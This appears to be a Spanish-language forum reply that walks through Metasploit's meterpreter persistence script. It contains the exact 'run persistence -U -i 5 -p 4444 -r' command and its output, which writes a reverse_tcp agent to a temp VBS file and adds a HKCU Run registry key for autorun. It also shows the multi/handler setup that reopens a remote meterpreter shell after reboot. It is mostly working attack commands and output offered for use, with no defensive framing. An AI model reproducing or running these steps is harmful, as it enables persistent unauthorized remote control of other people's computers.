yo creo que tienes que poner la ip atacante no la víctima

escribe run persistence -h para ver las opciones
escribiré run persistence -U -i 5 -p PUERTO -r IP

meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.254.128

• Running Persistance Script
  
• Resource file for cleanup created at /root/.msf4/logs/persistence/DARKAN-PC_20131004.1419/DARKAN-PC_20131004.1419.rc
  
• Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.254.128 LPORT=4444
  
• Persistent agent script is 613979 bytes long
  
• Persistent Script written to C:\Users\Darkan\AppData\Local\Temp\SvTZOaDOD.vbs
  
• Executing script C:\Users\Darkan\AppData\Local\Temp\SvTZOaDOD.vbs
  
• Agent executed with PID 6836
  
• Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\cWizKCJgKCz
  
• Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\cWizKCJgKCz
  
  reiniciar..
  
  msf > use exploit/multi/handler
  msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
  PAYLOAD => windows/meterpreter/reverse_tcp
  msf  exploit(handler) > set LHOST 192.168.254.128
  LHOST => 192.168.254.128
  msf  exploit(handler) > set LPORT 4444
  LPORT => 4444
  msf  exploit(handler) > exploit
  
• Started reverse handler on 192.168.254.128:4444
  
• Starting the payload handler...
  
• Sending stage (752128 bytes) to 192.168.254.1
  
• Meterpreter session 1 opened (192.168.254.128:4444 -> 192.168.254.1:7510) at 2013-10-04 16:19:33 -0400
  
  meterpreter >
  
  y listo